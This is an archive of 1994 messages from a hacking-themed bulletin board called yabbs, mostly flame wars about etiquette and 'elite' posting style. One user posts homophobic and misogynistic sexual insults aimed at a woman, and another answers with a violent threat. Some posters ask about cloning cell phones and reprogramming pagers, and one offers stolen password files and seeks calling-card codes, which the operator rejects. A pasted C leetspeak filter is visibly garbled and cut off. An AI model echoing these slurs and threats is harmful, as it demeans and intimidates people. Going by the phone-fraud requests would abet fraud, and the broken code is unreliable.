think he's got some sort of odd sugar imbalance or his shoes are too tight or
something :) ). I happen to like this board a lot, and i don't want to risk
getting it shut down. I don't want to see it overrun by a group of 14 year
old geeks trading gamez.
These are the people who are perpetuating the
media's concept of a hacker as nothing more than a sophisticated criminal who
should be put away cause he's probably stealing your money and credit rating,
or browsing through your personal life.
</rant>
<address>
-peter
</address>
<! who's been writing way too much html lately>
</body>
</html>
From dmonger@yabbs Thu Jul 28 09:12:36 1994
From: dmonger@yabbs
To: dmonger@yabbs
Subject: re: crack etc.
Date: Thu Jul 28 09:12:36 1994
grr, i forgot the <p> marks in the rant ... oh well
-peter
From dmonger@yabbs Thu Jul 28 09:14:34 1994
From: dmonger@yabbs
To: all@yabbs
Subject: mci and bulldozers
Date: Thu Jul 28 09:14:34 1994
well, apparently yesterday afternoon, amtrack managed to chop right through
a fiber optic cable that belonged to MCI. Now you wouldn't think this would
be a big deal in princeton, nj but this was apparently the major NY - DC trunk
that got sliced.
bye bye mci
-peter
who has little love for mci anyway
From ducky@yabbs Thu Jul 28 09:53:50 1994
From: ducky@yabbs
To: dmonger@yabbs
Subject: re: mci and bulldozers
Date: Thu Jul 28 09:53:50 1994
In message mci and bulldozers, dmonger said:
> well, apparently yesterday afternoon, amtrack managed to chop right
> through a fiber optic cable that belonged to MCI.
I believe the technical term for this phenomenon is "backhoed".
> Now you wouldn't think this would be a big deal in princeton, nj but
> this was apparently the major NY - DC trunk that got sliced.
It gets better. It wasn't just MCI fiber that got backhoed, WilTel and
Sprint were affected as well. A major amount of telephone connectivity
in the northeastern United States was taken out.
-k
From Skywise@yabbs Thu Jul 28 09:56:27 1994
From: Skywise@yabbs
To: dmonger@yabbs
Subject: re: crack etc.
Date: Thu Jul 28 09:56:27 1994
D03s +#@+ I.N.C.lude :) peoples who get caught using smtp?
.s
\s
/
/s
durn it
From dmonger@yabbs Thu Jul 28 14:47:20 1994
From: dmonger@yabbs
To: ducky@yabbs
Subject: re: mci and bulldozers
Date: Thu Jul 28 14:47:20 1994
cool, i didn't know there was a technical name for it, though i guess its
probably a not too uncommon phenomena.
wonder if that's why princeton U lost its network yesterday afternnon.
-peter
From Gnarr@yabbs Thu Jul 28 21:23:49 1994
From: Gnarr@yabbs
To: dmonger@yabbs
Subject: warez
Date: Thu Jul 28 21:23:49 1994
Dmonger...when did ask for warez?
From phenelge@yabbs Fri Jul 29 02:23:43 1994
From: phenelge@yabbs
To: all@yabbs
Subject: Sorry
Date: Fri Jul 29 02:23:43 1994
Sorry about the lame post, folx, it was just one of those things that
popped into my head while writing. :) Anyhow, does anyone know of any
public ISC shells, any accounts, anything on ISC? No, I'm not some
ultra-lamer begging someone to hack some systems, I'm trying some odd
ports to SYSV R3, and I need to take a look at the system of an ISC box.
Forgive me for my lameness, but I don't care anymore, I need ISC!
From snakeis@yabbs Fri Jul 29 19:41:06 1994
From: snakeis@yabbs
To: all@yabbs
Subject: Motorola Pagers
Date: Fri Jul 29 19:41:06 1994
I was wondering if anyone knew the pinouts for the cable to reprogram
Motorola Pagers? I know its a serial cable of some sort.... any info?
Snk
From brael@yabbs Sun Jul 31 04:34:05 1994
From: brael@yabbs
To: phenelge@yabbs
Subject: re: Sorry
Date: Sun Jul 31 04:34:05 1994
Wots ISC??
brael@crl.c0m
From cosmos@yabbs Sun Jul 31 13:07:35 1994
From: cosmos@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Sun Jul 31 13:07:35 1994
In message re: Sorry, brael said:
>
> Wots ISC??
>
The correct way to ask a question my young friend is "What is".
Anyhow, ISC is Interactive UNIX from Sunsoft. If I remember correctly a
Sys V 3 clone from Sun before the advent of their latest flop Solaris.
Cosmos
From Mystery@yabbs Mon Aug 1 02:03:55 1994
From: Mystery@yabbs
To: dmonger@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 02:03:55 1994
I hear you about the little 3y3 ama kewl d00d writing crap... Why don't
people get a clue and not write like this and make themselves llok like
the little kid hacker wanna bes?
From Natalie@yabbs Mon Aug 1 02:08:00 1994
From: Natalie@yabbs
To: Mystery@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 02:08:00 1994
cause it's soooooooooo fun.....but then again, i AM a wannabe *smirk*
natalis
who admits her own lameness before anyone else can point it out to her
From brael@yabbs Mon Aug 1 05:04:06 1994
From: brael@yabbs
To: cosmos@yabbs
Subject: re: Sorry
Date: Mon Aug 1 05:04:06 1994
hahahah@hahaha.. u wanna cap on me 4 my shorthand lingo, i'll cap on
u for how lame cosmos is cuz its all order placement that takes lots
of time and there is no way 2 completely cover ur trax..
dare u 2 f33d me a single dms-100/1aess/1aeax/4a default..i start ya
with a ntas/ntasntas 4 dms..:) i w0n't type proper english cuz its dry
dull boring n no fuckin fun.. and if some1 thinks im a wanna-*B*- hAqu0R..
like there's a care there?.. s3curity penetrators r all l@ym for wasting
their time in this scene unless u want 2 b a spy or a lowlife credit card
snake or a CERTy freak.. its all in fun kids......
brael@crl.com
From Famine@yabbs Mon Aug 1 06:07:40 1994
From: Famine@yabbs
To: Natalie@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 06:07:40 1994
Well I don't see why everyone is slagging each other off, because if the
sysops at the site crack is being run at `illegally' don't notice a job
eating processor they deserved to get sad geeks cracking (N.B. cracking not
hacking...hacking is coding and requires skill; cracking is *SAD*
irrespondsible, generally adolesent and thats all that can said about it other
than get a life to those that practise it)
Yes also I no the man who intially invented crack and he was an ex-hacker
style cracker who saw how silly it all really was and so he stopped.
To be honest my view is people who have there systems hacked usually have
fundamental flaws in how they run their system e.g. no noticing large
processes probably called crack (after all most people that use it wouldn't
have the savy to change the name) or not reading telnet logs etc with all
the failed logins from a defined place.
Well thats all I have to say on the matter, because my view on the subject
is hacking is a skill that has been grossly mis-represented by the media and
about the only author every to attempt to put this fact write is the author
of the Cukoos Egg, Clifford Stoll(I think probably got the spelling wrong).
That all folks
Famine(wearing his serious hat)
From Natalie@yabbs Mon Aug 1 08:08:33 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Mon Aug 1 08:08:33 1994
learn how to use proper english before you go fucking with it, dull boring
and no fuckin fun as it may be. altho i can't possibly see where you get
THAT fallacy from. try reading some poetry once in a while, and then
you'll see how great english can be.
natalie
From cosmos@yabbs Mon Aug 1 12:09:57 1994
From: cosmos@yabbs
To: Famine@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 12:09:57 1994
Basically, you are right in a sense. Hackers are not the wily kind of
blokes you see on this board or the kids the media loves to show breaking
into the pentagon etc.. That would be crackers, or lamers, or wankers,
etc...
Anyhow, Cliff Stoll is a pisshead. Id give anything to drown that fuck
in a vat of donkey piss.
Nuff said.
Cosmos
From Skywise@yabbs Mon Aug 1 13:34:03 1994
From: Skywise@yabbs
To: Natalie@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 13:34:03 1994
|\|/-\T/-\LIE.....
U R /=ar /=rom |_/-\/\/\3
From Skywise@yabbs Mon Aug 1 13:40:35 1994
From: Skywise@yabbs
To: cosmos@yabbs
Subject: re: crack etc.
Date: Mon Aug 1 13:40:35 1994
URGENT FROM PISS-S-US
Re:Inventory management
While we are making no accusations, we are hereby informing you that we
are missing one barrel of Donkey Piss. We have made all efforts to
account for said missing piss to no avail. It is your legal right to be
informed of a pending investigation regarding this case.
yours,
I. P. Freely
Security
From UncleSid@yabbs Mon Aug 1 14:09:06 1994
From: UncleSid@yabbs
To: Natalie@yabbs
Subject: bitch
Date: Mon Aug 1 14:09:06 1994
from your stupid posts I can deter two things Natalie
1. You either have extreem PMS ALL the time and therefro are a feminazi
bitch
2. You are some faggot guy wanting to pick up otherguys and have tinysex
with them so you can get turned on and pretend they are buttfucking you at
home :)
From GPF@yabbs Mon Aug 1 16:49:00 1994
From: GPF@yabbs
To: UncleSid@yabbs
Subject: re: bitch
Date: Mon Aug 1 16:49:00 1994
In message bitch, UncleSid said:
> from your stupid posts I can deter two things Natalie
>
>
> 1. You either have extreem PMS ALL the time and therefro are a feminazi
> bitch
>
> 2. You are some faggot guy wanting to pick up otherguys and have tinysex
> with them so you can get turned on and pretend they are buttfucking you at
> home :)
>
if you really feel the need to post such moronic drivel i would suggest taking
it to email....
oh and yes, we acknowledge that you know a lot of four letter words, now
run along and play.
gpf.... who thinks this particular message board is getting really lame...
From cosmos@yabbs Mon Aug 1 16:59:47 1994
From: cosmos@yabbs
To: UncleSid@yabbs
Subject: re: bitch
Date: Mon Aug 1 16:59:47 1994
In message bitch, UncleSid said:
[observations from a moron deleted]
You know, seems to me you have a hangup with "faggots" and "dicks"...see
a psychiatrist, could be an underlying craving for anal sex on your part.
Cosmos
From Skywise@yabbs Mon Aug 1 18:09:23 1994
From: Skywise@yabbs
To: UncleSid@yabbs
Subject: re: bitch
Date: Mon Aug 1 18:09:23 1994
MONSTER GO HOME!!!
you silly turd
From Badger01@yabbs Mon Aug 1 18:58:07 1994
From: Badger01@yabbs
To: UncleSid@yabbs
Subject: You are dead.
Date: Mon Aug 1 18:58:07 1994
Don't go to Yabbsfest. Because if you do, and I find you, for DARING to
slag Natalie in the foul and liscentious manner in which you did, this one
eyed badger is going to rip you in little fucking bits and sprikle them
over the toxic sludge in Love Canal, you pathetic waste.
Badger01
From htoaster@yabbs Mon Aug 1 20:05:46 1994
From: htoaster@yabbs
To: Badger01@yabbs
Subject: re: You are dead.
Date: Mon Aug 1 20:05:46 1994
just what we need at yabbsfest...lots of death and gore...
btw, just for the record, I have nothing to do with yabbsfest, and in all
likelyhood won't even be there.
alex
From Badger01@yabbs Mon Aug 1 20:55:27 1994
From: Badger01@yabbs
To: htoaster@yabbs
Subject: re: You are dead.
Date: Mon Aug 1 20:55:27 1994
Yeah, I know...but still, It's a good idea (And I think we'd all like to
mee t the man responsible for this BBS)
Badger01
From Natalie@yabbs Tue Aug 2 01:04:03 1994
From: Natalie@yabbs
To: Skywise@yabbs
Subject: re: crack etc.
Date: Tue Aug 2 01:04:03 1994
heheh...when it comes to hacking i am...even if my dad does work for the
phone company...*smirk* and i'm using windows nt right now...*snigger*
i've really moved up in the world...
natalie
From Natalie@yabbs Tue Aug 2 01:07:49 1994
From: Natalie@yabbs
To: UncleSid@yabbs
Subject: re: bitch
Date: Tue Aug 2 01:07:49 1994
first of all, i am very offended by being called a feminazi bitch. while
i may be a bitch, i am no feminist. i have never been a feminist. and i
never will be a feminist.
and second of all, i am female. i am very female. anal sex does NOT turn
me on.
third, i am not a hacker. i have never claimed to be a hacker. i don't
have the time to try to learn.
fourth, i am brilliant (if you don't announce your attributes, no one
will). but as i stated before, my area is not computers, even tho i've
had a computer of my own for over ten years. i'm one of those annoying
english majors.
so get a grip buddy and leave me the hell alone. i will NOT tolerate
being flamed again.
natalie
From brael@yabbs Tue Aug 2 04:51:43 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Tue Aug 2 04:51:43 1994
damn girl, put a chill on the PmS breakdown together.. all im sayin is
lemme type/talk the way i fuckin want 2 and ill let u type/talk the way u
want 2.. every1 is entitled to their own opinions as 2 format/ettiquite/
style but if some1 wants to rag on some1 else cuz they think they're some
ettiquite ghod er somethin, fuck that..
the fact remains that the ratio 0f messages posted about lame asKii
representations to messages about n e kind of computer security is
15 to 1 and getting worse....yo nat, get on some moprin er somethin..
take the edge off..
-braeL@Crl.com
From Skywise@yabbs Tue Aug 2 07:07:42 1994
From: Skywise@yabbs
To: UncleSid@yabbs
Subject: *growl*
Date: Tue Aug 2 07:07:42 1994
UncleSid...I WANNA POUND YOU LIKE A TEN CENT HOAR!!! YEEEEEEEEEHAW!
your pal,
me
From Natalie@yabbs Tue Aug 2 08:10:57 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Tue Aug 2 08:10:57 1994
why is it when a woman states her opinion, and a man doesn't like it, it's
PMS? for the record, boys, i don't get PMS, and you really need to find
something better to blame my attitude on.
natalie
From Famine@yabbs Tue Aug 2 08:48:41 1994
From: Famine@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Tue Aug 2 08:48:41 1994
PMT etc aside...yes Famine is still wearing his serious hat. But this
message base is for hacks etc not for flames, I think it might be a good
idea to create a flame message base, after all if usenet news has one
why shouldn't yabbs.
The main reason I suggest this is that to be honest I am totally feed up
with the flames, valid discussion about a point yes but raw flaming no.
Please stop the flaming, or badger htoaster for a flame base so you can all
be nasty and petty to each other but I don't have to read it.
Famine(the anonyed)
p.s. any one flames me for this I ignore it ok!
From Justbob@yabbs Tue Aug 2 10:06:33 1994
From: Justbob@yabbs
To: all@yabbs
Subject: re: Sorry
Date: Tue Aug 2 10:06:33 1994
[I would just like to second the flame message base]
From Natalie@yabbs Tue Aug 2 10:34:48 1994
From: Natalie@yabbs
To: Famine@yabbs
Subject: re: Sorry
Date: Tue Aug 2 10:34:48 1994
i only flame when i get flamed first. it's like a self defense thing.
natalie
From Badger01@yabbs Tue Aug 2 12:32:45 1994
From: Badger01@yabbs
To: Famine@yabbs
Subject: Hehehe..My Name In Vain.
Date: Tue Aug 2 12:32:45 1994
>Or Badger htoaster
Badger him? HEHEHEHEHEHEHE IT FINALLY HAPPENED!
Badger01
From balistic@yabbs Tue Aug 2 13:22:16 1994
From: balistic@yabbs
To: all@yabbs
Subject: re:flamers
Date: Tue Aug 2 13:22:16 1994
doesn't getting flamed make ppl get along sooooo well...
From Mystery@yabbs Tue Aug 2 18:53:14 1994
From: Mystery@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Tue Aug 2 18:53:14 1994
I have to agree with Natalie. You're "cool" little writing is annoying to
read and should be saved for something like irc where you need to type
things a little more quickly than a message on here. I'm not a nettiquite
god or am trying to be, I just find that writing in the cute little way
you do to be really annoying. Almost as bad or worse than writing in all
caps. AND I DON'T THINK ANYONE WANTS THIS. CAPS ARE JUST DAMN ANNOYING
JUST LIKE THAT CRAP YOU WRITE...
Mystery
From cosmos@yabbs Tue Aug 2 19:11:31 1994
From: cosmos@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Tue Aug 2 19:11:31 1994
In message re: Sorry, brael said:
>
> 15 to 1 and getting worse....yo nat, get on some moprin er somethin..
^^^^^^
Is that a cross between Nuprin and Motrin???
Cosmos
From Quetzal@yabbs Tue Aug 2 20:33:01 1994
From: Quetzal@yabbs
To: cosmos@yabbs
Subject: re: Sorry
Date: Tue Aug 2 20:33:01 1994
This is not a response to you Cos, I'm just to lazy to create my own post!
What do all these flames have to do with hackin! Nothing! So why are they
on this base? Because everyone is on A FUCKIN EGO TRIP! I think the this
base should be changed to a flame base, oh shit! it already is a flame
base, MY FUCKIN MISTAKE!!!!!
From HC@yabbs Tue Aug 2 22:29:47 1994
From: HC@yabbs
To: all@yabbs
Subject: Alpha Micro
Date: Tue Aug 2 22:29:47 1994
Does anyone here have any experience using an Alpha Micro(it's not made
by DEC, or whoever makes the current Alphas)...this Micro was built back
in the early 80's and ran AMOS for the OS(Alpha Micro OS I'm assumihng)
It still runs even after sitting under an inch of dust for the past 2
years...we have all the manuals and stuff, but we would like to know what
we shouldn and shouldn't do to the OS...
Currently, the guy who ran it has moved out of state(that's why I want to
learn about it...to help bring the damn thing back up and in a usable
condition), so we have no other ppl to turn to if we need help with
it...(and I'm not going to read 15 binders full of instructions on the
damn thing either)...
Thanx for the help...
aych
From Natalie@yabbs Wed Aug 3 01:35:13 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: Sorry
Date: Wed Aug 3 01:35:13 1994
must be. i jsut stick to my nice 600 mg motrins. they make me feel real
good.
natalie
From Natalie@yabbs Wed Aug 3 01:35:40 1994
From: Natalie@yabbs
To: Quetzal@yabbs
Subject: re: Sorry
Date: Wed Aug 3 01:35:40 1994
i have no ego.
natalie
From Badger01@yabbs Wed Aug 3 08:51:50 1994
From: Badger01@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Wed Aug 3 08:51:50 1994
What about an id? Do you have one of them?
Just curious,
BADGER01 (NEW! All in caps for your enjoyment! And he's stronger than
buffered Nuprin! Safer than Motrin! Slightly mad! He loves exclamation
points! ;)
From Natalie@yabbs Wed Aug 3 11:10:51 1994
From: Natalie@yabbs
To: Badger01@yabbs
Subject: re: Sorry
Date: Wed Aug 3 11:10:51 1994
hmmm...an id, eh? not too sure about that, i'm still looking for my
animus...
natalie
From Skywise@yabbs Wed Aug 3 17:34:42 1994
From: Skywise@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Wed Aug 3 17:34:42 1994
Natalie you <censored><censored>! Why don't you take your <censored>
flames and <cesnored> up your <censored><censored><censored><censored>!
Who needs a <censored> flame base when you can do it right here?
your <censored> pal,
Skywise
From brael@yabbs Thu Aug 4 21:02:18 1994
From: brael@yabbs
To: Mystery@yabbs
Subject: re: Sorry
Date: Thu Aug 4 21:02:18 1994
1f you got a problem with my posts then skip ahead loser.. i don't give
a fuck what u think about my style u fuckin freak.. ur prolly jus tryin
to agree with nat in a pathetic attempt to get down with some cyberbitch..
not to b 1 with a fat head but i prolly know more about h/ph then every
single 1 of ya and i posted here to inspire a h/ph related discussion
in an attempt to learn somethin n in return teach somethin back..
of course that was quite the optimistic approach cuz every1 here seems
to b more interested in some whiny girl who admits she knows nothing
about the subject topic but still finds it in er to bitch like the fuck..
i dunno, the addiction to posting when no1 really has n e thing to say
is a bit overwhelming so i have 2 b out.. l8r cuties..
brael
From Skywise@yabbs Thu Aug 4 21:08:12 1994
From: Skywise@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Thu Aug 4 21:08:12 1994
it's very obvious that yes indeedy you DO care what people think about the
way you type...you want us all to like it and think it's impressive. Why
else are you rambling on and on and on about it? sheeeesh.
y0r un<0nvin<ed p@l,
Skywise
From brael@yabbs Thu Aug 4 21:30:17 1994
From: brael@yabbs
To: Skywise@yabbs
Subject: re: Sorry
Date: Thu Aug 4 21:30:17 1994
w0w.. u figured me out. cool, u win.
b
From brael@yabbs Thu Aug 4 21:34:07 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Thu Aug 4 21:34:07 1994
u flamed me 1st..nice display of hypocritical behavior..
self-defense n0..powertrips r abound 2nite.
b
From Natalie@yabbs Thu Aug 4 22:26:41 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Thu Aug 4 22:26:41 1994
yes! i am a cyberbitch! and even better, i'm some whiny girl who admits
she knows nothing. oh, i couldn't ever ask for more. *smirk* all i ask
is that you repect the language you speak and write, and which you
obviously don't give a shit about.
natalie
From Natalie@yabbs Thu Aug 4 22:28:14 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Thu Aug 4 22:28:14 1994
hmmm...i dinna flame you first. i just siad that i found that it was
unnecessary to act like you're illiterate. that's all. and that should
be said in the first line. i'm not the world's best typist.
natalie
From GPF@yabbs Fri Aug 5 00:00:42 1994
From: GPF@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Fri Aug 5 00:00:42 1994
oh yeah, i'll bet you know more than every one of us.... the only ppl
who say that are the ones who havent' learned enough to know that they
don't know shit....
my 40% of a nickel.... gpf....
From Mystery@yabbs Fri Aug 5 01:23:01 1994
From: Mystery@yabbs
To: brael@yabbs
Subject: re: Sorry
Date: Fri Aug 5 01:23:01 1994
Well to let you know, I am NOT trying to hit on Natalie, I just find your
writing hard to read... If you really want to do this, go the fuck ahead,
but it is really damn annoying... And those people who usually brag about
knowing the most about hacking and phreaking are usually just a lttle 14
year old kid or something who thinks hes really cool and thinks he can do
all kinds of this "elite" crapola... No offense Natalie, but I really
don't give a fuck if she talks about hacking or what she ate for dinner...
I guess you really are addicted to posting because you really don't have
much to say...
Mystery
From Natalie@yabbs Fri Aug 5 02:08:14 1994
From: Natalie@yabbs
To: Mystery@yabbs
Subject: re: Sorry
Date: Fri Aug 5 02:08:14 1994
well, i had beef & cheese enchiladas for dinner...they were quite good
too...
natalie
From Death@yabbs Fri Aug 5 03:48:07 1994
From: Death@yabbs
To: all@yabbs
Subject: Crap
Date: Fri Aug 5 03:48:07 1994
I for one am kinda sick of this crap... The last 600 or so (probably more)
messages in this base have all been just about nothing but flames... Now I
remember why I stopped bothering to read anything here, let alone post...
--Death
who is once again killing his subscription to this base...
From Skywise@yabbs Fri Aug 5 08:14:30 1994
From: Skywise@yabbs
To: Death@yabbs
Subject: re: Crap
Date: Fri Aug 5 08:14:30 1994
DEATH!!!! COME BACK!!! COME BACK!!! :(
your sorrowful mourning pal,
Skywise
- WHAMMO* to Natalie for being another carnivore
From Typhon@yabbs Fri Aug 5 09:44:04 1994
From: Typhon@yabbs
To: Mystery@yabbs
Subject: Hitting On Natalie
Date: Fri Aug 5 09:44:04 1994
Well, I'll do it if you don't want to.
Typhon the Usurper
From Quetzal@yabbs Fri Aug 5 11:43:56 1994
From: Quetzal@yabbs
To: all@yabbs
Subject: Cell Phones
Date: Fri Aug 5 11:43:56 1994
Can someone give me some info on cloaning and programming a cell phone.
I look in several philes here and on other gophers but no luck!
thanx
Quetzalcoatl
From balistic@yabbs Fri Aug 5 15:47:42 1994
From: balistic@yabbs
To: Mystery@yabbs
Subject: re: Sorry
Date: Fri Aug 5 15:47:42 1994
Man, the hostility on this board is overwhelming! Mystery, don't lump
all 14 year old newbies together, I'm 14, but I have no reason to try and
be eleet, not after reading the posts of some of the :eleet" on this
base...sheesh, get it together and hack, rather than spending all your
free time flaming ppl for something they said (I can't wait to recieve
flames for this!)...anywyz, hack now, flame later.
balistic
From cosmos@yabbs Fri Aug 5 20:19:05 1994
From: cosmos@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Fri Aug 5 20:19:05 1994
In message re: Sorry, balistic said:
> Man, the hostility on this board is overwhelming! Mystery, don't lump
> all 14 year old newbies together, I'm 14, but I have no reason to try and
> be eleet, not after reading the posts of some of the :eleet" on this
> base...sheesh, get it together and hack, rather than spending all your
> free time flaming ppl for something they said (I can't wait to recieve
> flames for this!)...anywyz, hack now, flame later.
>
r|gHt 0n d00D!
Cosmos
From Natalie@yabbs Fri Aug 5 22:14:59 1994
From: Natalie@yabbs
To: Typhon@yabbs
Subject: re: Hitting On Natalie
Date: Fri Aug 5 22:14:59 1994
gee, typh...would you?
btw, nice new name :)
natalie
From GPF@yabbs Sat Aug 6 02:41:07 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: This aint Yalk
Date: Sat Aug 6 02:41:07 1994
hate to break it to you but her hacking advice is a lot better than yours...
and she hasn't even given any... my advice: stick to anarchy, you don't
make yourself look like an ass there...
much...
....gpf
who is posting this in hopes of getting some |<-RaD [\]3+$3>< *smirk*
From brael@yabbs Sat Aug 6 02:46:12 1994
From: brael@yabbs
To: Quetzal@yabbs
Subject: re: Cell Phones
Date: Sat Aug 6 02:46:12 1994
a decent article on cellul@r telephony can b found in
Phrack (lame) Volume 4, issue 4o, file 6 of 14..
its the second 1 on the subject by brian 0blivion..
hope that helps..
y n e 1 would prefere a stout ale is way beyond me..
1 word.. im 20 and there's nothing i wouldnt give to b
14 again.. w/o a doubt..
brael@crl.com
From brael@yabbs Sat Aug 6 02:54:08 1994
From: brael@yabbs
To: all@yabbs
Subject: 3733t c0de
Date: Sat Aug 6 02:54:08 1994
Bongfilter $Revision: 2.3 $ (C) Copyleft Junya Ho. (of the GNU flavour)
This is bongfilter $Revision: 2.3 $. Character substitutions can
be made easily by substituting into the table caps[] and lowr[]
below - a few substitutions have already been made as a
demonstration.
There is now an alternate character substitution list which will
substitute multicharacter strings for certain characters, e.g.,
For usage information, type bongfilt without any arguments. The
revision log is at the end of the source.
(more usage information)
- bongfilter can take input from the command line, or it can take
info from a pipe, eg: "ls -al | bongfilt -none -alw"
- the option -none adds no characters for inverse/underline/bold.
- the option -alw always substitutes, and -ran substitutes sometimes.
- for your ircII clients, probably the easiest way to incorporate
bongfilter is to add an alias:
/ALIAS bongf exec -out [path]/bongfilt -irc -ran
(or -alw instead of -ran, its up to you)
and invoking it by: /bongf text here
from within your ircII client.
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#define NOEMU 0
#define IRCEMU 1
#define VT100EMU 2
#define ALWAYS 0
#define RANDOM 1
static char id[]="$Id: bongfilt.c,v 2.3 1994/05/07 21:31:34 hojunya Exp
hojunya $";
static char caps[]="ABCD3FGHiJKLMN0PQRSTUVWXYZ";
static char lowr[]="abCd3fghijk1mn0pqrsTuvwxyz";
static char *alt[26];
void init_alt()
{
register int count;
for(count=0;count<26;count++) alt[count]=NULL;
{
alt['a'-'a']=(char *)strdup("/\\");
alt['d'-'a']=(char *)strdup("/>");
alt['h'-'a']=(char *)strdup("|-|");
alt['k'-'a']=(char *)strdup("/<");
alt['l'-'a']=(char *)strdup("|_");
alt['n'-'a']=(char *)strdup("/\\/");
alt['o'-'a']=(char *)strdup("()");
alt['u'-'a']=(char *)strdup("|_|");
alt['v'-'a']=(char *)strdup("\\/");
alt['w'-'a']=(char *)strdup("\\/\\/");
}
}
int mangle(char *ch, char from, int freq)
{
struct timeval tp;
gettimncpy(ch, alt[from-'A'], strlen(alt[from-'A']));
return(strlen(alt[from-'A']));}
else { strncpy(ch,&caps[from-'A'],1);
return(1);}
else if (islower(from))
if ((tp.tv_usec%3) && (alt[from-'a'] != NULL) &&(freq==RANDOM)) {
strncpy(ch, alt[from-'a'],strlen(alt[from\n"heck_options(int
argc, char **argv, int *emu, int *freq) {
if (argc < 3) {
print_usage();
exit(1);}
if (!strcmp(argv[1],"-none")) *emu=NOEMU;
else if(!stprint_usage();
exit(1);}
if (!strcmp(argv[2],"-ran")) *freq=RANDOM;
else if(!strcmp(argv[2],"-alw")) *freq
From brael@yabbs Sat Aug 6 03:01:17 1994
From: brael@yabbs
To: all@yabbs
Subject: 00oops
Date: Sat Aug 6 03:01:17 1994
ooopps.. the message buffer lames out at 99lines so if n e 1
wants d rest of the code 2 become elite jus like me ur gonna
have 2 email. sorryalls..:)
brael
From 'Drew@yabbs Sat Aug 6 04:59:10 1994
From: 'Drew@yabbs
To: brael@yabbs
Subject: Hmmm...
Date: Sat Aug 6 04:59:10 1994
Never mind......
From Natalie@yabbs Sat Aug 6 08:09:39 1994
From: Natalie@yabbs
To: arachnoi@yabbs
Subject: re: This aint Yalk
Date: Sat Aug 6 08:09:39 1994
no, i'm a cyberbitch/feminazi. get it right, ok?
natalie
From Typhon@yabbs Sat Aug 6 11:05:08 1994
From: Typhon@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Sat Aug 6 11:05:08 1994
It's ELITE, you newbie r0dent!
Just Kiddin'...You make several valid points, and should not be slagged on
due to your tender age. (14....I feel so old.)
Typhon the Usurper
From Typhon@yabbs Sat Aug 6 11:05:51 1994
From: Typhon@yabbs
To: Natalie@yabbs
Subject: re: Hitting On Natalie
Date: Sat Aug 6 11:05:51 1994
In a hot second.
Thanks...I was unsure about the name.
Typhon the Usurper
From balistic@yabbs Sat Aug 6 15:08:12 1994
From: balistic@yabbs
To: Typhon@yabbs
Subject: re: Sorry
Date: Sat Aug 6 15:08:12 1994
hey at least I didn't spell it with 3's instead of e's :)
From K0d3R@yabbs Sat Aug 6 15:28:28 1994
From: K0d3R@yabbs
To: all@yabbs
Subject: FuQin NaRqS
Date: Sat Aug 6 15:28:28 1994
doodz
I was told this board r0cks. But there seems to be lots of drag lamers on
here like bart. Lets get this thing going, I am looking for outdials and
some good att cards--I have lots of passwd files so lets get the haqin
shit going guys!
K0d3R [tUpA(]
From htoaster@yabbs Sat Aug 6 15:43:47 1994
From: htoaster@yabbs
To: K0d3R@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 15:43:47 1994
In message FuQin NaRqS, K0d3R said:
> I was told this board r0cks. But there seems to be lots of drag lamers on
> here like bart. Lets get this thing going, I am looking for outdials and
> some good att cards--I have lots of passwd files so lets get the haqin
> shit going guys!
umm...dude...hate to ruin your day, but this board isn't for trading passwd
files and carding and stuff like that. if it was how do you think it would
stay up for two years with 150 accounts created per day, over 13000 accounts
total, and being listed in a buttload of telnetable bbs lists? its popular
enough that if codes were listed i'd expect to get shit for it in the next
few days (if not hours), and the system would probably go down...
feel free to talk about hacking, programming, or whatever your heart desires.
don't trade personal information about people that could get you incriminated.
think of it as an electronic 2600...
alex
From cosmos@yabbs Sat Aug 6 15:55:21 1994
From: cosmos@yabbs
To: htoaster@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 15:55:21 1994
In message re: FuQin NaRqS, htoaster said:
>
> feel free to talk about hacking, programming, or whatever your heart desires.
> don't trade personal information about people that could get you incriminated.
> think of it as an electronic 2600...
But alex...have you seen the 2600 state lately?? More codes there than I
thought was humanly possible...dont know about the mag.
Cosmos
From Justbob@yabbs Sat Aug 6 16:44:50 1994
From: Justbob@yabbs
To: htoaster@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 16:44:50 1994
Heh, i have a friend who was connected via ftp, he normally deletes his
his site had been compromised.
Within an hour, he had security ppl at his door asking if he knew yabbs
was a h/ph board.
From Skywise@yabbs Sat Aug 6 17:34:57 1994
From: Skywise@yabbs
To: arachnoi@yabbs
Subject: re: This aint Yalk
Date: Sat Aug 6 17:34:57 1994
;)
BTW...I program cellular telephones at work huhuhuhuhuhuh
huhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhu
huh
heh
:)
From -DuCK-@yabbs Sat Aug 6 20:30:46 1994
From: -DuCK-@yabbs
To: all@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 20:30:46 1994
obviously this k0d3r is doing illegal shit, i think that he shouldn't be
allowed here.. what do you guys think? hmm.. well, here's what he said//
